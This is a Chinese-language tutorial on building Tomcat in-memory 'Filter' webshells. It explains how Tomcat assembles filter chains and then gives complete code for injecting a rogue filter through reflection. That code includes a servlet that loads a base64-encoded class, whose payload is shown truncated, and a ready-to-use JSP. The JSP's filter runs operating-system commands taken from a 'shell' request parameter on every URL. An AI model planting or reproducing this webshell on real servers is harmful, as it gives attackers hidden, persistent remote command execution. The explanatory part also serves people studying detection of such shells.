tomcat Filter内存马

idea调试的时候加入源代码

<dependency>     <groupId>org.apache.tomcat</groupId>     <artifactId>tomcat-catalina</artifactId>     <version>8.5.81</version>     <scope>provided</scope> </dependency> 

Servlet、Listener、Filter 由 javax.servlet.ServletContext 去加载,无论是使用 xml 配置文件还是使用 Annotation 注解配置,均由 Web 容器进行初始化,读取其中的配置属性,然后向容器中进行注册。

Servlet 3.0 API 允许使 ServletContext 用动态进行注册,在 Web 容器初始化的时候(即建立ServletContext 对象的时候)进行动态注册。可以看到 ServletContext 提供了 add/create 方法来实现动态注册的功能。

ServletContext

它会为每个web程序都创建一个对应的ServletContext对象,它代表当前的web应用。 事实上SpringMVC封装的ApplicationContext 以及Struts2封装的ApplicationContext里面都是保存着原本的ServletContext。

作用:

  • Web应用范围内存取共享数据;
  • 访问web应用的静态资源;
  • Servlet对象之间通过ServletContext对象来实现通讯。

ServletContext跟StandardContext的关系

  1. StandardContext

    • StandardContext是Tomcat服务器中的一个组件,用于管理Web应用程序的上下文(Context)。
    • 它是javax.servlet.ServletContext接口的实现类,提供了一些额外的功能和管理能力。
    • StandardContext负责加载和初始化Web应用程序的配置信息,包括Servlet、Filter、Listener等组件的注册和管理。
    • 它还提供了对Web应用程序的生命周期管理,例如启动、停止和重新加载等操作。
  2. ServletContext

    • ServletContext是Java Servlet规范中的一个接口,表示Web应用程序的上下文。
    • 每个Web应用程序都有一个唯一的ServletContext实例,用于在应用程序内共享信息和资源。
    • ServletContext提供了一些方法,用于获取Web应用程序的初始化参数、访问应用程序范围的属性、读取Web应用程序的配置信息等。
    • 它还提供了一些与Web容器交互的方法,例如获取请求调度器、获取资源的真实路径等。

总结:
StandardContext是Tomcat服务器中用于管理Web应用程序的上下文的实现类,而ServletContext是Java Servlet规范中定义的用于表示Web应用程序上下文的接口。它们的主要区别在于StandardContext提供了更多的管理和生命周期控制功能,而ServletContext则提供了访问应用程序范围的属性和配置信息的方法。

Tomcat 中有 4 类容器组件,从上至下依次是:

  • Engine,实现类为 org.apache.catalina.core.StandardEngine
  • Host,实现类为 org.apache.catalina.core.StandardHost
  • Context,实现类为 org.apache.catalina.core.StandardContext
  • Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

Filter 内存马

Filter 我们称之为过滤器,是 Java 中最常见也最实用的技术之一,通常被用来处理静态 web 资源、访问权限控制、记录日志等附加功能等等。一次请求进入到服务器后,将先由 Filter 对用户请求进行预处理,再交给 Servlet。

通常情况下,Filter 配置在配置文件和注解中,在其他代码中如果想要完成注册,主要有以下几种方式:

  1. 使用 ServletContext 的 addFilter/createFilter 方法注册;
  2. 使用 ServletContextListener 的 contextInitialized 方法在服务器启动时注册(将会在 Listener 中进行描述);
  3. 使用 ServletContainerInitializer 的 onStartup 方法在初始化时注册(非动态,后面会描述)。

追溯Filter的doFilter:

  1. FilterDemo重写了doFilter,如何执行到FilterDemo的doFilter?

  2. ApplicationFilterChain的doFilter被执行,执行了internalDoFilter;

  3. filters[]是存放ApplicationFilterConfig的地方,包含filterDef和fitler对象,取出每个元组,赋值给filterConfig;

    Filter filter = filterConfig.getFilter();

  4. 然后执行了filter.doFilter(request, response, this);

  5. filters[]是在哪里赋值的呢?

  6. 在StandardWrapperValve的invoke中

    ApplicationFilterChain filterChain =
    ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);然后执行了filterChain.doFilter。

    看看createFilterChain里面做了什么?

  7. 在ApplicationFilterFactory的createFilterChain中

    ApplicationFilterChain filterChain = null;

    StandardContext context = (StandardContext) wrapper.getParent();

    FilterMap filterMaps[] = context.findFilterMaps();从StandardContext配置文件中获取filter,放入filterMaps

    这里是根据前面获取的filterMaps循环来获取的

    for (FilterMap filterMap : filterMaps)  ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)                     context.findFilterConfig(filterMap.getFilterName()); filterChain.addFilter(filterConfig); 
  8. filterChain.addFilter(filterConfig),最后return filterChain。

  9. 在ApplicationFilterChain的addFilter中做了什么?filters[n++] = filterConfig;所以最终filters[]里面会有所有filter的filterConfig;

FilterConfigs:存放 filterConfig 的数组,在 FilterConfig 中主要存放 FilterDef 和Filter 对象等信息 FilterDefs:存放 FilterDef 的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例等基本信息 FilterMaps:存放 FilterMap 的数组,在 FilterMap 中主要存放了 FilterName 和 对应的 URLPattern 

tomcat Filter内存马

fiterConfig的内容都是从context中得到,因此只要我们能控制context的内容就行了

动态注册Filter

经过上面的分析,我们可以总结出动态注册Filter的流程:

  1. 获取上下文对象StandardContext
  2. 创建恶意Filter
  3. 构造FilterDef封装filter
  4. 创建filterMap,将路径与Filtername绑定,将其添加到filterMaps中
  5. 使用FilterConfig封装filterDef,然后将其添加到filterConfigs中
package com.example.webshellfilter;  import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.ApplicationContextFacade; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import sun.misc.BASE64Decoder;  import javax.servlet.Filter; import javax.servlet.ServletContext; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.PrintWriter; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.HashMap; import java.util.List;  @WebServlet(name = "filterServlet", value = "/filterServlet") public class FilterServletDemo extends HttpServlet {     public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {         try {             //1、通过request获取ServletContext类             //通过request获取servletContext             ServletContext servletContext = request.getServletContext();             //其实这里是ApplicationContextFacade的类             System.out.println(servletContext.getClass());             Field applicationContextFacadefield = servletContext.getClass().getDeclaredField("context");             applicationContextFacadefield.setAccessible(true);             //获取servletContext对象中的context的值,因为是ApplicationContextFacade所以获取到的context是ApplicationContext             ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadefield.get(servletContext);             //通过applicationContext对象获取StandardContext             Field standardContextfield = applicationContext.getClass().getDeclaredField("context");             standardContextfield.setAccessible(true);             StandardContext standardContext = (StandardContext) standardContextfield.get(applicationContext);               //将Filter对象通过反射实现加载             ClassLoader classLoader = Thread.currentThread().getContextClassLoader();             //2、在Java中,可以使用defineClass方法将一个类动态地注入到当前的JVM中,这里将filter类注入进去             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);             defineClass.setAccessible(true);             BASE64Decoder base64Decoder = new BASE64Decoder();             byte[] code = base64Decoder.decodeBuffer("yv66vgAAADQAWg....");             defineClass.invoke(classLoader,code, 0, code.length);              //3、添加filterDef             System.out.println(Class.forName("FilterDemo").getName());             Filter filterDemo = (Filter) Class.forName("FilterDemo").newInstance();             FilterDef filterDef = new FilterDef();             filterDef.setFilter(filterDemo);             filterDef.setFilterName("FilterDemo");             standardContext.addFilterDef(filterDef);              //4、添加filterMap             FilterMap filterMap = new FilterMap();             filterMap.setFilterName("FilterDemo");             filterMap.addURLPattern("/*");             standardContext.addFilterMap(filterMap);              //添加到standardContext的filterConfigs中             //反射获取filterConfigs             //由于ApplicationFilterConfig经Final修饰,且构造方法为静态方法,无法通过new实例化,需通过反射获取ApplicationFilterConfig构造方法并实例化后添加入filterConfigs             Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");             filterConfigs.setAccessible(true);             HashMap hashMap = (HashMap) filterConfigs.get(standardContext);             Constructor<?> declaredConstructor = ApplicationFilterConfig.class.getDeclaredConstructors()[0];             declaredConstructor.setAccessible(true);             hashMap.put("FilterDemo",declaredConstructor.newInstance(standardContext,filterDef));              PrintWriter out = response.getWriter();             out.println("over");          } catch (Exception e) {             throw new RuntimeException(e);         }     } } 

jsp实现

<%@ page language="java" %> <%@ page import="javax.servlet.http.HttpServletRequest" %> <%@ page import="javax.servlet.http.HttpServletResponse" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="sun.misc.BASE64Decoder" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.util.HashMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="java.io.IOException" %> <html> <head>     <title>Get Request Object in JSP</title> </head> <body> <h1>Get Request Object in JSP</h1> <%     class FilterDemo implements Filter {         @Override         public void init(FilterConfig filterConfig) throws ServletException {             System.out.println("初始加完成");         }          @Override         public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {             servletRequest.setCharacterEncoding("utf-8");             servletResponse.setCharacterEncoding("utf-8");             servletResponse.setContentType("text/html;charset=UTF-8");             System.out.println(servletRequest.getParameter("shell"));             Runtime.getRuntime().exec(servletRequest.getParameter("shell"));             System.out.println("过滤中。。。");             filterChain.doFilter(servletRequest,servletResponse);         }          @Override         public void destroy() {             System.out.println("过滤结束");         }     }      //1、通过request获取ServletContext类     //通过request获取servletContext     ServletContext servletContext = request.getServletContext();     //其实这里是ApplicationContextFacade的类     System.out.println(servletContext.getClass());     Field applicationContextFacadefield = servletContext.getClass().getDeclaredField("context");     applicationContextFacadefield.setAccessible(true);     //获取servletContext对象中的context的值,因为是ApplicationContextFacade所以获取到的context是ApplicationContext     ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadefield.get(servletContext);     //通过applicationContext对象获取StandardContext     Field standardContextfield = applicationContext.getClass().getDeclaredField("context");     standardContextfield.setAccessible(true);     StandardContext standardContext = (StandardContext) standardContextfield.get(applicationContext);      //3、添加filterDef     FilterDemo filterDemo = new FilterDemo();     FilterDef filterDef = new FilterDef();     filterDef.setFilter(filterDemo);     filterDef.setFilterName("FilterDemo");     filterDef.setFilterClass(filterDemo.getClass().getName());     standardContext.addFilterDef(filterDef);      //4、添加filterMap     FilterMap filterMap = new FilterMap();     filterMap.setFilterName("FilterDemo");     filterMap.addURLPattern("/*");     standardContext.addFilterMap(filterMap);      //添加到standardContext的filterConfigs中     //反射获取filterConfigs     //由于ApplicationFilterConfig经Final修饰,且构造方法为静态方法,无法通过new实例化,需通过反射获取ApplicationFilterConfig构造方法并实例化后添加入filterConfigs     Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");     filterConfigs.setAccessible(true);     HashMap hashMap = (HashMap) filterConfigs.get(standardContext);     Constructor<?> declaredConstructor = ApplicationFilterConfig.class.getDeclaredConstructors()[0];     declaredConstructor.setAccessible(true);     hashMap.put("FilterDemo",declaredConstructor.newInstance(standardContext,filterDef));      System.out.println("over");  %> </body> </html>  

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